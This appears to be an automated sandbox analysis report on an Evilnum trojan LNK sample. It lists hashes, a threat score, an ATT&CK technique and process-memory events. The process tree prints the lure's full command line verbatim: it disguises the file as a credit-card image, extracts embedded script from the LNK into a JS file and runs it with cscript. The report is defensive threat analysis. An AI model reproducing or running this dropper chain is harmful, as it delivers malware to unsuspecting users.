evilnum | 4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb

Analysis

Target
4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb.lnk
Size 199KB
Sample220124-grbm1adbf9
SHA256 4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb
MD5 80b0ba4ef46a22bfd43f967905c25a75
SHA1 ee59bc476bb3a7db1190beb791a5aa8550fc9541
SHA512 cf2285060985e7eaec4485394c739452e80847047e45d1431bd540ff40eaf1e393058eab1fd08ca1663326fab7494a65e0c1c10e17b4c57abe0298c8a8647d28
MD5 SHA1 SHA512

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 872 wrote to memory of 3800	872	cmd.exe	70
PID 872 wrote to memory of 3800	872	cmd.exe	70
PID 3800 wrote to memory of 3124	3800	cmd.exe	71
PID 3800 wrote to memory of 3124	3800	cmd.exe	71
PID 3800 wrote to memory of 824	3800	cmd.exe	72
PID 3800 wrote to memory of 824	3800	cmd.exe	72
PID 3800 wrote to memory of 604	3800	cmd.exe	73
PID 3800 wrote to memory of 604	3800	cmd.exe	73
PID 3800 wrote to memory of 1544	3800	cmd.exe	74
PID 3800 wrote to memory of 1544	3800	cmd.exe	74
PID 3800 wrote to memory of 2264	3800	cmd.exe	75
PID 3800 wrote to memory of 2264	3800	cmd.exe	75

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Back.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:3124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:824
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:1544
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:2264

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact